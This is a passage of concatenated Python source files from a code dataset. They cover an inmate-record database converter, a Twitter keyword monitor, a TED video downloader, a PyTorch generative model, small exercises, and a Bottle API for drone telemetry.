1]['lodge_date'].strftime(\"%Y-%m-%d\"), \"%Y-%m-%d\"),\n 'release_date': datetime.strptime(assoc_charges[i - 1]['release_date'].strftime(\"%Y-%m-%d\"), \"%Y-%m-%d\"),\n 'bail_amount': int(assoc_charges[i - 1]['bail_amount']) if assoc_charges[i - 1]['bail_amount'] != \"?\" else 0,\n 'release_status': str(assoc_charges[i - 1]['release_status']),\n 'charges': charge_set\n }\n );\n\n # New charge set with new date\n charge_set = [];\n charge_set.append(\n {\n 'charge_name': str(charge['charge_name']),\n 'statute_id': str(charge['statute_id']),\n 'statute_desc': str(charge['statute_desc'])\n }\n );\n\n # If at end of assoc_charges\n if (i + 1) >= len(assoc_charges):\n incarcerations.append(\n {\n 'lodge_date': datetime.strptime(charge['lodge_date'].strftime(\"%Y-%m-%d\"), \"%Y-%m-%d\"),\n 'release_date': datetime.strptime(charge['release_date'].strftime(\"%Y-%m-%d\"), \"%Y-%m-%d\") if charge['release_date'] != '?' else \"\",\n 'bail_amount': int(charge['bail_amount']) if charge['bail_amount'] != \"?\" else 0,\n 'release_status': str(charge['release_status']),\n 'charges': charge_set\n }\n );\n else:\n prev_time = time;\n i += 1;\n\n '''for incarceration in incarcerations:\n pp = pprint.PrettyPrinter(indent=4);\n pp.pprint(incarceration);\n print \"\\n\";'''\n\n mongo_inmate['incarcerations'] = incarcerations;\n\n mongo_inmate_list.append(mongo_inmate);\n\n '''pp = pprint.PrettyPrinter(indent=4);\n pp.pprint(mongo_inmate);\n\n print \"\\n\\n\"\n\nprint \"-------------------------LOLOLOL-------------------------------\"'''\n\n# Get charges\ncursor.execute(\"SELECT * FROM charges ORDER BY statute_id ASC\");\nmysql_charges = cursor.fetchall();\n\ni = -1;\nmongo_charge = {};\nmongo_charge_list = [];\ncurr_id = \"\";\nprev_id = \"\";\nfor mysql_charge in mysql_charges:\n curr_id = mysql_charge['statute_id'];\n\n if curr_id == prev_id:\n mongo_charge_list[i]['count'] += 1;\n\n # Check to see if current inmate_sid is unique\n sid_unique = True;\n for inmate_sid in mongo_charge_list[i]['inmates']:\n if mysql_charge['sid'] == inmate_sid:\n sid_unique = False;\n break;\n\n if sid_unique == True:\n mongo_charge_list[i]['inmates'].append(mysql_charge['sid']);\n else:\n mongo_charge = {\n 'charge_name': str(mysql_charge['charge_name']),\n 'statute_id': str(mysql_charge['statute_id']),\n 'statute_desc': str(mysql_charge['statute_desc']),\n\n 'count': 1,\n\n 'inmates': [\n str(mysql_charge['sid'])\n ]\n }\n\n mongo_charge_list.append(mongo_charge);\n j += 1;\n\n prev_id = mysql_charge['statute_id'];\n\n# \"Fix\" for the weird charges that have null descriptors/update unknown charges\ni = 0;\nwhile i < len(mongo_charge_list):\n #For the few completely messed up charges\n if mongo_charge_list[i]['statute_id'] == None:\n mongo_charge_list[i]['charge_name'] = 'UNKNOWN';\n mongo_charge_list[i]['statute_id'] = 'UNKNOWN';\n mongo_charge_list[i]['statute_desc'] = '?';\n # Normal unknown charges\n elif mongo_charge_list[i]['charge_name'] == None:\n mongo_charge_list[i]['charge_name'] = 'UNKNOWN';\n mongo_charge_list[i]['statute_id'] = 'UNKNOWN-MC';\n mongo_charge_list[i]['statute_desc'] = 'Inmate missed by roster bot, charges unknown.';\n\n i += 1;\n\n'''for mongo_charge in mongo_charge_list:\n pp = pprint.PrettyPrinter(indent=4);\n pp.pprint(mongo_charge);\n print \"\\n\";'''\n\nroster = mongo_db.inmates; # Get inmates collection\ncharges = mongo_db.charges; # Get charges collection\n\n# Add converted inmates to mongo\nroster.insert_many(mongo_inmate_list);\n\n# Add converted charges to mongo\ncharges.insert_many(mongo_charge_list);\n","sub_path":"scripts/db_convert.py","file_name":"db_convert.py","file_ext":"py","file_size_in_byte":7551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"225741821","text":"#Note To Self -> dublicate of original method_commons in \n#forkedApps/delivery/method_commons.py, since on import in \n#models.py project has misc error\n\nfrom decimal import Decimal as D\nfrom django.utils.translation import ugettext_lazy as _\nfrom datetime import datetime as time\n\nclass MethodCommons:\n\n\t@staticmethod\n\tdef checkTime(hourThresh = None):\n\t\t\"\"\"returns true if time is less than 14:00PM\n\t\t\tfalse if time passed 14:00PM\"\"\"\n\t\tnow = time.now()\n\t\tbase_time = None\n\t\tif hourThresh == None:\n\t\t\tbase_time = now.replace(hour=14, minute=0, second=0, \n\t\t\t\tmicrosecond=0)\n\t\telse:\n\t\t\tbase_time = now.replace(hour=hourThresh, minute=0, second=0, \n\t\t\t\tmicrosecond=0)\n\t\tif now > base_time:\n\t\t\treturn False\n\t\telif now < base_time:\n\t\t\treturn True\n\t\treturn False #for some case ?","sub_path":"forkedApps/delivery/method_commons.py","file_name":"method_commons.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"20866091","text":"#!/usr/bin/env python2.7\n\nimport json\nimport smtplib\nimport datetime\nfrom twitter import Twitter, OAuth, TwitterHTTPError, TwitterStream\n\n#################################################\n# #\n# Tweet-Monitor.py #\n# v3.0 #\n# A twitter monitor #\n# #\n# By s0ups (@ynots0ups) #\n# #\n# https://github.com/ynots0ups/Tweet-Monitor #\n# #\n#################################################\n# https://pypi.python.org/pypi/twitter\n\n\n########### Shit For You To Change ##############\n#\n# Twitter API credz\n#\nACCESS_TOKEN = ''\nACCESS_SECRET = ''\nCONSUMER_KEY = ''\nCONSUMER_SECRET = ''\n\n#\n# Accounts to monitor\n#\nACCOUNT_LIST = 'ynots0ups, dc225'\n\n#\n# Full monitor accounts\n# Must use Twitter ID!\n#\n# @ynots0ups => 1151671417, @dc225 => 1120271370\n#\nFULL_MONITOR = ['1151671417', '1120271370']\n\n#\n# Keywords\n#\nKEYWORD_LIST = ['drink', 'all', 'the', ' booze ', 'hack', 'all', 'the', 'things']\n\n#\n# Mail Settings\n#\nSERVER = 'localhost'\nSENDER = ''\nRECIPIENT = ''\nE_SIGNATURE = '\\n\\n\\n- s0ups wuz here'\n\n#################################################\n################## The Code #####################\n\n# Search the tweet body for keywords\ndef ParseTweet(tweet):\n for keyword in KEYWORD_LIST:\n if keyword.lower() in tweet.lower():\n return keyword \n return 0\n\n# What to do if we have a hit? Get notified, son!\ndef ProcessHit(tweet, keyword):\n timestamp = datetime.datetime.fromtimestamp(int(tweet['timestamp_ms'])/1000).strftime('%Y-%m-%d %H:%M:%S')\n screenname = tweet['user']['screen_name']\n e_subject = 'Found tweet from @{} matching keyword: {}'.format(screenname, keyword)\n e_body = 'Time of Tweet: {}\\nUsername: @{}\\nTweet Content: \"{}\"\\nKeyword Hit: {}\\nLink: https://twitter.com/{}/status/{}{}'.format(timestamp, screenname, tweet['text'].encode('utf-8'), keyword, screenname, tweet['id'], E_SIGNATURE)\n SendNotify(e_subject, e_body)\n\ndef SendNotify(subject, body):\n message = \"From %s\\nTo: %s\\nSubject: %s\\n\\n%s\"%(SENDER, RECIPIENT, subject, body)\n try:\n smtpObj = smtplib.SMTP(SERVER)\n smtpObj.sendmail(SENDER, RECIPIENT, message)\n except:\n file = open(\"Tweet-Monitor.log\",\"a\")\n file.write(subject + \"\\r\\n\" + body + \"\\r\\n\\r\\n\")\n file.close()\n return\n\n# Connect to the Twitter API\noauth = OAuth(ACCESS_TOKEN, ACCESS_SECRET, CONSUMER_KEY, CONSUMER_SECRET)\ntwitter_stream = TwitterStream(auth=oauth)\n\nfullmonitored = \",\".join(FULL_MONITOR)\n\n# Start receiving data from twitter matching the accounts we are monitoring\niterator = twitter_stream.statuses.filter(track=ACCOUNT_LIST,follow=fullmonitored)\n\n# Once we get a hit we will do things\nfor tweet in iterator:\n # Check if it was a delete event - ignore if so\n if 'delete' in tweet:\n continue\n else:\n # Check if it's a fully monitored account\n if tweet['user']['id_str'] in FULL_MONITOR:\n ProcessHit(tweet, \"*Full Monitored*\")\n # Otherwise check for keywords\n else:\n result = ParseTweet(tweet['text'])\n if result:\n ProcessHit(tweet, result)\n","sub_path":"Twitter-Monitor.py","file_name":"Twitter-Monitor.py","file_ext":"py","file_size_in_byte":3386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"600662783","text":"from agentThink import AgentConMeoria, AgentAleatorio, AgentSinEstado\nfrom environment import Environment\n\n\nenv1 = Environment(16, 16, 0.4)\n\nagenMem = AgentConMeoria(env1)\nagenAlea = AgentAleatorio(env1)\nagenSin = AgentSinEstado(env1)\n\nc = 2\nwhile True:\n if(c == 1):\n aux = agenSin.think(env1)\n if(c == 2):\n aux = agenAlea.think(env1)\n if(c == 3):\n aux = agenMem.think(env1)\n if(c == 4):\n aux = agenMem.think2(env1)\n if (aux == True):\n break\n\nprint(\"################################ Final ################################\")\nenv1.print_environment()\nenv1.get_performance()\n","sub_path":"TP_2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"236215648","text":"\"\"\"\nWrite a program (function!) that takes a list and returns a new list that contains all the elements of the first list\nminus all the duplicates.\n\nExtras:\n Write two different functions to do this - one using a loop and constructing a list, and another using sets.\n Go back and do Exercise 5 using sets, and write the solution for that in a different function.\n\n\"\"\"\nfrom random import *\ndef main():\n i = 0\n a = []\n\n while i < 30:\n j = randint(1, 10)\n a.append(j)\n i += 1\n\n a.sort()\n print(a)\n def Constrution():\n b = []\n i = 0\n k = 0\n while i < len(a):\n j = a[i]\n if len(a) > i + 1:\n k = a[i + 1]\n else:\n k = 0\n if j == k:\n b.append(k)\n i += 1\n i = 0\n k = 0\n while i < len(a):\n while k < len(b):\n if b[k] == a[i]:\n a.pop(i)\n k += 1\n k = 0\n i += 1\n print(b)\n print(a)\n def Set():\n b = set(a)\n print(b)\n\n\n Constrution()\n print()\n print()\n print()\n Set()\n\nmain()","sub_path":"ListsWithoutDuplicates.py","file_name":"ListsWithoutDuplicates.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"208080893","text":"import sys\nimport traci\nimport subprocess\nfrom models.RoadNetwork import RoadNetwork\nfrom models.parser import parse\nfrom models.Vehicle import Vehicle\n\n# added by File -> Settings -> Project interpreter -> Chosen interpreter -> add to path: /usr/share/sumo/tools\n# if 'SUMO_HOME' in os.environ:\n# tools = os.path.join(os.environ['SUMO_HOME'], 'tools')\n# sys.path.append(tools)\n# else:\n# sys.exit(\"please declare environment variable 'SUMO_HOME'\")\n\nport = 10080\nsumoCmd = ['sumo-gui', '-c', '../data/weight_with_turns/wturns.sumocfg', '--remote-port', str(port)]\n\nsumoProcess = subprocess.Popen(sumoCmd, stdout=sys.stdout, stderr=sys.stderr)\ntraci.init(port)\n\nedges = parse('../data/weight_with_turns/wturns.net.xml')\n\nrn = RoadNetwork(edges)\nvehicles = {}\nwhile not rn.empty():\n rn.simulation_step()\n active_vehicles = traci.vehicle.getIDList()\n for vehicle_id in active_vehicles:\n if vehicle_id not in vehicles:\n vehicles[vehicle_id] = Vehicle(vehicle_id)\n route = rn.Deijkstra(vehicle_id, rn.weight_with_turns)\n print(route)\n traci.vehicle.setRoute(vehicle_id, route)\n\ntraci.close()\nsumoProcess.terminate()\n","sub_path":"experiments/wturns.py","file_name":"wturns.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"208265180","text":"import sys\nimport argparse\nimport configparser\n\nLINE_LENGTH = 0\nSCRIPT_ARR = []\nDESTINATION = \"20\"\n\n# Config parsing\n\ndef readConfig(f):\n config = configparser.ConfigParser()\n config.read(f)\n\n delay = 1000\n if 'TABLE_1' in config.sections():\n for key, val in config['TABLE_1'].items():\n set(1, key, val, delay)\n if 'TABLE_3' in config.sections():\n for key, val in config['TABLE_3'].items():\n set(3, key, val, delay)\n\n\n# Script generation\n\ndef empty_script():\n SCRIPT_ARR[:] = []\n\ndef write_script_to_file(filename):\n fh = open(filename, 'w', encoding='utf-8')\n\n s = \"\"\n for st in SCRIPT_ARR:\n s += st + '\\n'\n\n fh.write(s)\n empty_script()\n \ndef add_to_script(str):\n if len(SCRIPT_ARR) < 100:\n SCRIPT_ARR.append(str)\n else:\n print(\"\"\"\n WARNING! Your script is more than 99 lines! You should be aware of that csp-term ignores any lines longer.\n \"\"\")\n\ndef print_script():\n for s in SCRIPT_ARR:\n print(s)\n\ndef gen_custom_msg(int_arr, delay):\n # int_arr is an array of integers from 0 to 256\n\n toSend = \"\"\n\n for i in int_arr:\n toSend += str(i) + \" \"\n\n return str(delay) + \" 0 0 obckth tc \" + DESTINATION + \" \" + toSend\n\ndef gen_ping(destination, delay, timeout, size):\n return str(delay) + \" 0 0 ping \" + str(destination) + \" \" + str(timeout) + \" \" + str(size)\n\ndef ping_multi(n, dest, interval, size):\n for i in range(n):\n add_to_script(gen_ping(dest, interval, 3, size))\n\ndef hex_to_int_arr(hex):\n ret = []\n\n tmp_arr = []\n tmp_str = \"\"\n\n for s in hex:\n tmp_str += s\n\n # do check\n if len(tmp_str) == 2:\n tmp_arr.append(tmp_str)\n tmp_str = \"\"\n\n for s in tmp_arr:\n ret.append(int(s, 16))\n return ret\n\ndef custom_multi(n, msg, delay):\n msg_int_arr = hex_to_int_arr(msg)\n for i in range(n):\n add_to_script(gen_custom_msg(msg_int_arr, delay))\n\ndef set(table, mem, param, delay):\n add_to_script(\"0 0 0 rparam download \" + DESTINATION + \" \" + str(table))\n add_to_script(str(delay) + \" 0 0 rparam set \" + str(mem) + \" \" + str(param))\n\ndef reboot(delay):\n add_to_script(str(delay) + \" 0 0 reboot \" + DESTINATION)\n\ndef enter_raw_mode():\n set(0, \"mode\", 1, 100)\n\ndef enter_normal_mode():\n set(0, \"mode\", 2, 100)\n\ndef enable_rs():\n set(0, \"fcs\", 1, 100)\n\n# Generation of testcases\n\ndef generate_testcases(to_stdout, write_to_file):\n # Should be default\n enable_rs()\n\n ## Generate 5x10 ping messages with different lengths in RAW\n enter_raw_mode()\n for i in range(5):\n ping_multi(10, 1, 1000, 15 + i*5)\n\n if to_stdout:\n print_script()\n empty_script()\n if write_to_file:\n write_script_to_file(\"ping-length-raw.g\")\n\n ## Generate 5x10 ping msg with different lengths in Sync\n enter_normal_mode()\n for i in range(5):\n ping_multi(10, 1, 1000, 15 + i*5)\n\n if to_stdout:\n print_script()\n empty_script()\n if write_to_file:\n write_script_to_file(\"ping-length-sync.g\")\n\n ## Generate 5x10 ping msg with different destination in raw\n enter_raw_mode()\n for i in range(1,6):\n ping_multi(10, i, 1000, 10)\n\n if to_stdout:\n print_script()\n empty_script()\n if write_to_file:\n write_script_to_file(\"ping-dst-raw.g\")\n\n ## Generate 5x10 ping msg in sync\n enter_normal_mode()\n for i in range(1,6):\n ping_multi(10, i, 1000, 10)\n \n if to_stdout:\n print_script()\n empty_script()\n if write_to_file:\n write_script_to_file(\"ping-dst-sync.g\")\n\n ## Standard\n enter_raw_mode()\n ping_multi(10, 1, 1000, 10)\n\n if to_stdout:\n print_script()\n empty_script()\n if write_to_file:\n write_script_to_file(\"ping-std-raw.g\")\n \n enter_normal_mode()\n ping_multi(10, 1, 1000, 10)\n\n if to_stdout:\n print_script()\n empty_script()\n if write_to_file:\n write_script_to_file(\"ping-std-sync.g\")\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--generate-testcases\", help=\"Generate testcases\", action=\"store_true\")\n parser.add_argument(\"--print\", help=\"Print script\", action=\"store_true\")\n parser.add_argument(\"--config\", help=\"Use config file\")\n args = parser.parse_args()\n\n if args.config:\n readConfig(args.config)\n print_script()\n \n if args.print or args.generate_testcases:\n generate_testcases(args.print, args.generate_testcases)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"testcases_uhf/testcases_uhf.py","file_name":"testcases_uhf.py","file_ext":"py","file_size_in_byte":4598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"212072256","text":"import requests\nimport threading\nimport datetime\nimport os\n\ncount = 0\n\n\ndef downloader(start, end, url, resources):\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'}\n\n for resource in resources[start: end]:\n global count\n\n request = requests.get(resource.replace(\"\\n\", \"\"),\n headers=headers,\n stream=True)\n bytes = resource.split('=')[-1]\n # 文件全部下载完成后,将自动生成的 merge.bat 拷贝到下载目录,双击即可生成 ted.mp4 文件\n with open(\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\videos\\\\\" + bytes.replace(\"\\n\", \"\"), \"wb\") as code:\n code.write(request.content)\n count = count + 1\n print(\"In Progress:%.2f\" % (count / len(resources)))\n\n\ndef download_vedio(url, num_thread=100):\n cwd = os.getcwd()\n file = open('index.m3u8', 'r', encoding='UTF-8')\n text_list = file.readlines()\n resource_list = []\n for text in text_list:\n if text.find('#EX') == -1:\n resource_list.append(text)\n\n file.close()\n file_size = len(resource_list)\n\n part = file_size // num_thread\n for n in range(num_thread):\n start = part * n\n if n == num_thread - 1:\n end = file_size\n else:\n end = start + part\n\n thread = threading.Thread(target=downloader, kwargs={'start': start, 'end': end, 'url': url, 'resources': resource_list})\n thread.setDaemon(True)\n thread.start()\n\n currentThread = threading.current_thread()\n for t in threading.enumerate():\n if t is currentThread:\n continue\n t.join()\n\n\ndef build_merge_cmd():\n cwd = os.getcwd()\n f = open('index.m3u8', 'r', encoding='UTF-8')\n text_list = f.readlines()\n files = []\n for i in text_list:\n if i.find('#EX') == -1:\n files.append(i)\n f.close()\n tmp = []\n for file in files[0:1024]:\n bytes = file.split('=')[-1]\n tmp.append(bytes.replace(\"\\n\", \"\"))\n\n shell_str = '+'.join(tmp)\n shell_str = 'copy /b ' + shell_str + ' ted.mp4' + '\\n' + 'del *.ts'\n return shell_str\n\n\ndef generate_merge_cmd(cmdString):\n cwd = os.getcwd()\n f = open(\"merge.bat\", 'w')\n f.write(cmdString)\n f.close()\n\n\nif __name__ == '__main__':\n url = \"https://pb.tedcdn.com/talk/hls/video/\"\n start = datetime.datetime.now().replace(microsecond=0)\n download_vedio(url)\n end = datetime.datetime.now().replace(microsecond=0)\n print(end - start)\n cmd = build_merge_cmd()\n generate_merge_cmd(cmd)\n","sub_path":"spider/TedVideoSpider.py","file_name":"TedVideoSpider.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"107971580","text":"import os\nimport time\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport numpy as np\nfrom loadData import DataSet\nimport shutil\nimport random\nimport cv2\n\nclass generator(nn.Module):\n def __init__(self, config):\n super(generator, self).__init__()\n if config.category == \"Mnist\":\n self.fc1 = nn.Linear(config.z_size, 1024)\n self.bn1 = nn.BatchNorm1d(1024)\n\n self.fc2 = nn.Linear(1024, 1568)\n self.bn2 = nn.BatchNorm1d(1568)\n\n self.deconv1 = nn.ConvTranspose2d(1568//(7*7), 128, kernel_size=5, stride=2, padding=2, output_padding=1)\n self.bn3 = nn.BatchNorm2d(128)\n\n self.deconv2 = nn.ConvTranspose2d(128, 1, kernel_size=5, stride=2, padding=2, output_padding=1)\n\n self.leaky_relu = nn.LeakyReLU()\n self.tanh = nn.Tanh()\n\n def forward(self, z):\n out = self.fc1(z)\n out = self.bn1(out)\n out = self.leaky_relu(out)\n out = self.fc2(out)\n out = self.bn2(out)\n out = self.leaky_relu(out)\n out = out.view(out.size(0), -1, 7, 7)\n out = self.deconv1(out)\n out = self.bn3(out)\n out = self.leaky_relu(out)\n out = self.deconv2(out)\n out = self.tanh(out)\n return out\n\n\n\nclass Abp(nn.Module):\n def __init__(self, config):\n super(Abp, self).__init__()\n self.config = config\n self.prior = config.prior\n self.category = config.category\n self.epoch = config.Train_Epochs\n self.img_size = 28 if (config.category == 'Fashion-Mnist' or config.category == 'Mnist') else 64\n self.num = config.num\n self.batch_size = config.batch_size\n\n self.z_size = config.z_size\n self.langevin_num = config.langevin_num\n\n self.vis_step = config.vis_step\n\n self.lr = config.lr\n self.theta = config.theta\n self.delta = config.delta\n self.channel = 1 if (config.category == 'Fashion-Mnist' or config.category == 'Mnist') else 3\n\n self.checkpoint_dir = config.checkpoint_dir\n self.logs_dir = config.logs_dir\n self.recon_dir = config.recon_dir\n self.gen_dir = config.gen_dir\n\n\n self.with_noise = config.with_noise\n\n def create_directory(names):\n for i in names:\n if os.path.exists(i):\n shutil.rmtree(i)\n os.makedirs(i)\n\n if config.isTraining == True:\n if config.continue_train == False:\n create_directory([self.logs_dir, self.recon_dir, self.gen_dir])\n\n\n def langevin_dynamic_generator(self, z, obs):\n obs = obs.detach()\n for i in range(self.langevin_num):\n z = Variable(z, requires_grad=True)\n gen = self.generator(z)\n loss = self.l2loss(gen, obs)\n loss.backward()\n grad = z.grad\n z = z - 0.5 * self.delta * self.delta * (grad + self.prior*z)\n if self.with_noise == True:\n noise = Variable(torch.normal(size=[self.batch_size, self.z_size], mean=0, std=1).cuda())\n z += self.delta * noise\n return z\n\n def l2loss(self, syn, obs):\n a = syn - obs\n return (1.0 / (2 * self.theta * self.theta) * torch.mul(a, a)).sum(dim=[1, 2, 3]).mean(dim=0)\n # return 1.0 / (2 * self.theta * self.theta) * loss(syn, obs)\n\n def train(self):\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n print(device)\n self.generator = generator(self.config).to(device)\n\n data = DataSet(num=self.num, img_size=self.img_size, batch_size=self.batch_size, category=self.category)\n\n num_batches = int(len(data)/self.batch_size)\n\n optim = torch.optim.Adam(self.generator.parameters(), lr=self.lr)\n\n latents = torch.normal(size=[len(data), self.z_size], mean=0, std=1).cuda()\n\n for epoch in range(self.epoch):\n for i in range(num_batches):\n if (i + 1) * self.batch_size > len(data):\n continue\n\n obs = data.NextBatch(i)\n obs = Variable(torch.Tensor(obs).cuda()).permute(0, 3, 1, 2)\n\n z = Variable(latents[i*self.batch_size: (i+1)*self.batch_size], requires_grad=True)\n\n z = self.langevin_dynamic_generator(z, obs)\n\n recon = self.generator(z)\n\n gen_loss = self.l2loss(recon, obs.detach())\n\n\n optim.zero_grad()\n gen_loss.backward()\n optim.step()\n latents[i*self.batch_size: (i+1)*self.batch_size] = z\n\n\n\n print(epoch, \": loss: \", gen_loss.data)\n if epoch % self.vis_step == 0:\n self.visualize(len(data), epoch, latents, data)\n\n def visualize(self, num_data, epoch, latent, data):\n\n idx = random.randint(0, int(num_data / self.batch_size) - 1)\n z = Variable(latent[idx * self.batch_size: (idx + 1) * self.batch_size].cuda())\n \"\"\"\n Recon\n \"\"\"\n obs = data.NextBatch(idx)\n obs = Variable(torch.Tensor(obs).cuda()).permute(0, 3, 1, 2)\n\n z = self.langevin_dynamic_generator(z, obs)\n sys = self.generator(z).permute(0,2,3,1).cpu().data\n sys = np.array((sys + 1) * 127.5, dtype=np.float)\n path = self.recon_dir + 'epoch' + str(epoch) + 'recon.jpg'\n # show_z_and_img(epoch, path, z, sys, self.row, self.col)\n self.show_in_one(path, sys, column=16, row=8)\n\n \"\"\"\n Generation\n \"\"\"\n # obs = data.NextBatch(idx, test=True)\n z = Variable(torch.normal(size=(self.batch_size, self.z_size), mean=0,std=1).cuda())\n # z = sess.run(self.langevin, feed_dict={self.z: z, self.x: obs})\n sys = self.generator(z).permute(0, 2, 3, 1).cpu().data\n sys = np.array((sys + 1) * 127.5, dtype=np.float)\n path = self.gen_dir + 'epoch' + str(epoch) + 'gens.jpg'\n self.show_in_one(path, sys, column=16, row=8)\n\n def show_in_one(self, path, images, column, row, show_size=[300, 300], blank_size=5):\n small_h, small_w = images[0].shape[:2]\n # column = int(show_size[1] / (small_w + blank_size))\n\n show_size[0] = small_h * row + row * blank_size\n show_size[1] = small_w * column + column * blank_size\n\n # row = int(show_size[0] / (small_h + blank_size))\n shape = [show_size[0], show_size[1]]\n for i in range(2, len(images[0].shape)):\n shape.append(images[0].shape[i])\n\n merge_img = np.zeros(tuple(shape), images[0].dtype)\n\n max_count = len(images)\n count = 0\n for i in range(row):\n if count >= max_count:\n break\n for j in range(column):\n if count < max_count:\n im = images[count]\n t_h_start = i * (small_h + blank_size)\n t_w_start = j * (small_w + blank_size)\n t_h_end = t_h_start + im.shape[0]\n t_w_end = t_w_start + im.shape[1]\n\n merge_img[t_h_start:t_h_end, t_w_start:t_w_end] = im\n count = count + 1\n else:\n break\n cv2.imwrite(path, merge_img)\n # cv2.namedWindow(window_name)\n # cv2.imshow(window_name, merge_img)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Pytorch/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"1921935","text":"stock_dict = { 'GM': 'General Moters', 'MSFT': 'Microsoft',\n 'CAT': 'Caterpillar', 'EK': 'Eastman Kodak',\n 'AAPL': 'Apple' }\n\npurchases = [ ('GM', 100, '10-sep-2018', 48 ),\n ('MSFT', 100, '01-april-2016', 97 ),\n ('CAT', 900, '8-may-2014', 56 ),\n ('EK', 300, '6-may-2014', 32 ),\n ('AAPL', 700, '4-dec-2017', 53 ) ]\n\n# create a purchase history report\npurchase_history = []\n\n# Create a purchase history report that computes the full purchase price\n# (shares x dollars) for each block of stock and uses the `stockDict` to look up the full company name.\n\n# get number of shares and the price\n# calculate purchase price and add to list\n# look up company name\n# add company name to list","sub_path":"dictionaries/stocks.py","file_name":"stocks.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"45218273","text":"#Gregory Pereverzev 15.11.2019\n#Дорабатываем программу vowels2.\n#Программа будет выводить гласные из введенной пользователем строки используя множества.\n\n#Объявляем множество гласных.\nvowels = set('aeiou')\n#Просим пользователя ввести слово, которое будем проверять на наличие гласных.\nword = input(\"Provide a word to search for vowels:\")\n\n#Преобразуем пользовательский ввод в множество символов, далее сравниваем его с множеством vowels и сохраняем в премен-\n#ной found.\nfound = vowels.intersection(set(word))\n\n#Выводим содержимое списка найденных букв.\nfor vowel in found:\n print(vowel)\n","sub_path":"Head First Python. Paul Barry/3-3 vowels7.py","file_name":"3-3 vowels7.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"328876941","text":"from bottle import route, run, template, static_file, request\nimport sqlite3\nimport json\nimport ast\nimport time\nfrom datetime import datetime\n\n\n@route('/')\ndef index():\n return template('index.html', name='ben')\n\n\n@route('/assets/', name='assets')\ndef server_static(filepath):\n return static_file(filepath, root='assets')\n\n\n@route('/api/params')\ndef params():\n log_conn = sqlite3.connect('log.db')\n log_conn.row_factory = sqlite3.Row\n cur = log_conn.cursor()\n\n # retrive lowest fetch count, all params need to be at least this+1 to return result\n cur.execute('SELECT fetch_count FROM params ORDER by fetch_count ASC LIMIT 1')\n init_fetch_count = cur.fetchone()[0]\n print('initial fetch count', init_fetch_count)\n\n # trigger param fetch\n cmd_conn = sqlite3.connect('cmd.db')\n cmd_conn.execute('INSERT INTO jobs (cmd, status) VALUES (?, 0)', ('get params', ))\n cmd_conn.commit()\n\n while True:\n try:\n cur.execute('SELECT fetch_count FROM params ORDER by fetch_count ASC LIMIT 1')\n fetch_count = cur.fetchone()[0]\n print('new fetch count', fetch_count)\n if init_fetch_count+1 == fetch_count:\n break\n else:\n time.sleep(1)\n except:\n time.sleep(1)\n\n cur.execute('SELECT * FROM params ORDER BY param_id ASC')\n response = cur.fetchall()\n pdict = {}\n for i in response:\n pdict[i['param_id']] = {'value': i['param_value'], 'type': i['param_type'], 'index': i['param_index'], 'fetched': i['param_fetched']}\n return pdict\n\n# http://localhost:8080/api/data_streams/SYSTEM_TIME_time_unix_usec|GLOBAL_POSITION_INT_LAT|GLOBAL_POSITION_INT_LON|HEARTBEAT_custom_mode|HEARTBEAT_system_status|VFR_HUD_groundspeed/formatted/1/1\n\n\n@route('/api/data_streams////')\ndef all_data_streams(streams, format_, interval, limit):\n limit = int(limit)\n interval = int(interval)\n streams = streams.split('|')\n\n log_conn = sqlite3.connect('log.db')\n log_conn.row_factory = sqlite3.Row\n cur = log_conn.cursor()\n # log recorded at 1hz\n cur.execute('SELECT * FROM log WHERE (id-1)%?=0 ORDER BY id DESC LIMIT ?', (interval, limit))\n response = cur.fetchall()\n output = []\n count = 0\n for row in response:\n count = count+1\n filtered_row = {}\n for stream in streams:\n if format_ == 'formatted':\n if row[stream] != None:\n if stream == 'SYSTEM_TIME_time_unix_usec':\n ts = row[stream]/1000000\n time = datetime.utcfromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n filtered_row[stream] = time\n elif stream == 'GLOBAL_POSITION_INT_LAT' or stream == 'GLOBAL_POSITION_INT_LON':\n filtered_row[stream] = row[stream] * 1.0e-7\n elif stream == 'HEARTBEAT_system_status':\n states = {0: 'Uninitialized', 1: 'Booting', 2: 'Calibrating', 3: 'Standby', 4: 'Active',\n 5: 'Critical', 6: 'Emergency', 7: 'Power Down', 8: 'Termination'}\n filtered_row[stream] = states[int(row[stream])]\n elif stream == 'HEARTBEAT_custom_mode':\n mode_mapping = ast.literal_eval(row['EXTRA_mode_mapping'])\n mode_mapping_inverse = {v: k for k, v in mode_mapping.items()}\n filtered_row[stream] = 